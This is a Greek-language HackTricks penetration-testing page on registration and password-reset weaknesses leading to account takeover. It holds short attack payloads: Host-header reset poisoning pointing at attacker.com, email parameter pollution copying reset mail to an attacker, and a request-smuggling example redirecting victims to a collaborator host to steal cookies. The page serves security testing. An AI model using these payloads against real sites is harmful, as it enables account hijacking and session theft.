hacktricks/pentesting-web/registration-vulnerabilities.md

226 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ευπάθειες Εγγραφής & Κατάληψης
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** λόγω **κλοπής πληροφοριών** από **κλέφτες κακόβουλου λογισμικού**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση της κατάληψης λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό κλοπής πληροφοριών.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
---
## Κατάληψη Εγγραφής
### Διπλή Εγγραφή
* Δοκιμάστε να δημιουργήσετε χρησιμοποιώντας έναν υπάρχοντα όνομα χρήστη
* Ελέγξτε ποικίλες μορφές του email:
* κεφαλαία γράμματα
* \+1@
* προσθέστε κάποιο τελεία στο email
* ειδικοί χαρακτήρες στο όνομα του email (%00, %09, %20)
* Βάλτε μαύρους χαρακτήρες μετά το email: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Απαρίθμηση Ονομάτων Χρηστών
Ελέγξτε αν μπορείτε να καταλάβετε πότε ένα όνομα χρήστη έχει ήδη καταχωρηθεί μέσα στην εφαρμογή.
### Πολιτική Κωδικού Πρόσβασης
Δημιουργώντας έναν χρήστη ελέγξτε την πολιτική κωδικού πρόσβασης (ελέγξτε αν μπορείτε να χρησιμοποιήσετε αδύναμους κωδικούς πρόσβασης).\
Σε αυτήν την περίπτωση μπορείτε να δοκιμάσετε να κάνετε βίαιη εισβολή στα διαπιστευτήρια.
### Εισβολή SQL
[**Ελέγξτε αυτήν τη σελίδα** ](sql-injection/#insert-statement)για να μάθετε πώς να προσπαθήσετε να καταλάβετε λογαριασμούς ή να εξάγετε πληροφορίες μέσω **Εισβολών SQL** σε φόρμες εγγραφής.
### Καταλήψεις Oauth
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### Ευπάθειες SAML
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Αλλαγή Email
Όταν είστε εγγεγραμμένοι δοκιμάστε να αλλάξετε το email και ελέγξτε αν αυτή η αλλαγή ελέγχεται σωστά ή μπορείτε να το αλλάξετε σε τυχαία emails.
### Περισσότεροι Έλεγχοι
* Ελέγξτε αν μπορείτε να χρησιμοποιήσετε **προσωρινά emails**
* **Μακρύ** **κωδικός πρόσβασης** (>200) οδηγεί σε **DoS**
* **Ελέγξτε τα όρια ρυθμίσεων στη δημιουργία λογαριασμών**
* Χρησιμοποιήστε username@**burp\_collab**.net και αναλύστε το **callback**
## **Κατάληψη Επαναφοράς Κωδικού**
### Διαρροή Διακριτικού Επαναφοράς Κωδικού Μέσω Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Ζητήστε επαναφορά κωδικού πρόσβασης στη διεύθυνση email σας
2. Κάντε κλικ στον σύνδεσμο επαναφοράς κωδικού
3. Μην αλλάξετε τον κωδικό
4. Κάντε κλικ σε οποιονδήποτε ιστότοπο τρίτων (π.χ.: Facebook, twitter)
5. Επικοινωνήστε με το αίτημα στον διακομιστή Burp Suite proxy
6. Ελέγξτε αν ο κεφαλίδα αναφοράς (referer) διαρρέει το διακριτικό επαναφοράς κωδικού.
### Δηλητηρίαση Επαναφοράς Κωδικού <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Επικοινωνήστε με το αίτημα επαναφοράς κωδικού στο Burp Suite
2. Προσθέστε ή επεξεργαστείτε τις παρακάτω κεφαλίδες στο Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Προωθήστε το αίτημα με την τροποποιημένη κεφαλίδα\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Αναζητήστε μια διεύθυνση URL επαναφοράς κωδικού βασισμένη στην _κεφαλίδα host_ όπως: `https://attacker.com/reset-password.php?token=TOKEN`
### Επαναφορά Κωδικού Μέσω Παραμέτρου Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR στις Παραμέτρους του API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Ο Επιτιθέμενος πρέπει να συνδεθεί με τον λογαριασμό του και να μεταβεί στο χαρακτηριστικό **Αλλαγή κωδικού πρόσβασης**.
2. Ξεκινήστε το Burp Suite και Εγκαταλείψτε το αίτημα
3. Στείλτε το στο καρτέλα repeater και επεξεργαστείτε τις παραμέτρους: Αναγνωριστικό Χρήστη/ηλεκτρονικό ταχυδρομείο\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Αδύναμο Διακριτικό Επαναφοράς Κωδικού Πρόσβασης <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Το διακριτικό επαναφοράς κωδικού πρόσβασης πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.\
Προσπαθήστε να καθορίσετε εάν το διακριτικό λήγει ή αν είναι πάντα το ίδιο, σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να μαντευτεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιούνται από τον αλγόριθμο.
* Χρονική σήμανση
* Αναγνωριστικό Χρήστη
* Ηλεκτρονικό ταχυδρομείο του Χρήστη
* Όνομα και Επώνυμο
* Ημερομηνία Γέννησης
* Κρυπτογραφία
* Μόνο αριθμοί
* Μικρή ακολουθία διακριτικού (χαρακτήρες μεταξύ \[Α-Ζ,α-ζ,0-9])
* Επαναχρησιμοποίηση Διακριτικού
* Ημερομηνία λήξης Διακριτικού
### Διαρροή Διακριτικού Επαναφοράς Κωδικού Πρόσβασης <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Ενεργοποιήστε ένα αίτημα επαναφοράς κωδικού χρησιμοποιώντας το API/UI για ένα συγκεκριμένο ηλεκτρονικό ταχυδρομείο π.χ: test@mail.com
2. Επιθεωρήστε την απάντηση του διακομιστή και ελέγξτε το `resetToken`
3. Στη συνέχεια χρησιμοποιήστε το διακριτικό σε ένα URL όπως `https://example.com/v3/user/password/reset?resetToken=[ΤΟΙΑΚΡΙΤΙΚΟ_ΕΠΑΝΑΦΟΡΑΣ]&email=[ΤΟ_ΗΛΕΚΤΡΟΝΙΚΟ_ΤΑΧΥΔΡΟΜΕΙΟ]`
### Επαναφορά Κωδικού Πρόσβασης Μέσω Σύγκρουσης Ονόματος Χρήστη <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Εγγραφείτε στο σύστημα με ένα όνομα χρήστη που είναι ταυτόσημο με το όνομα χρήστη του θύματος, αλλά με κενά που έχουν εισαχθεί πριν και/ή μετά από το όνομα χρήστη. π.χ: `"admin "`
2. Ζητήστε επαναφορά κωδικού με το κακόβουλο όνομα χρήστη.
3. Χρησιμοποιήστε το διακριτικό που στάλθηκε στο ηλεκτρονικό σας ταχυδρομείο και επαναφέρετε τον κωδικό του θύματος.
4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό.
Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτήν την επίθεση.\
Δείτε: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Κατάληψη Λογαριασμού Μέσω Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Βρείτε ένα XSS μέσα στην εφαρμογή ή ένα υποτομέα αν τα cookies είναι περιορισμένα στο γονικό domain: `*.domain.com`
2. Διαρρεύστε το τρέχον **cookie συνεδρίας**
3. Ταυτοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie
### Κατάληψη Λογαριασμού Μέσω HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1. Χρησιμοποιήστε το **smuggler** για να ανιχνεύσετε τον τύπο του HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2. Δημιουργήστε ένα αίτημα που θα αντικαταστήσει το `POST / HTTP/1.1` με τα ακόλουθα δεδομένα:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` με στόχο την ανοικτή ανακατεύθυνση των θυμάτων στο burpcollab και την κλοπή των cookies τους\
3. Το τελικό αίτημα μπορεί να μοιάζει με το ακόλουθο
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
### Παραβιάζοντας τον Λογαριασμό μέσω CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Δημιουργήστε ένα payload για το CSRF, π.χ: "Φόρμα HTML με αυτόματη υποβολή για αλλαγή κωδικού πρόσβασης"
2. Αποστείλετε το payload
### Παραβίαση Λογαριασμού μέσω JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
Το JSON Web Token μπορεί να χρησιμοποιηθεί για την ταυτοποίηση ενός χρήστη.
* Επεξεργαστείτε το JWT με άλλο User ID / Email
* Ελέγξτε για αδύναμη υπογραφή JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## Αναφορές
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των παραβιάσεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>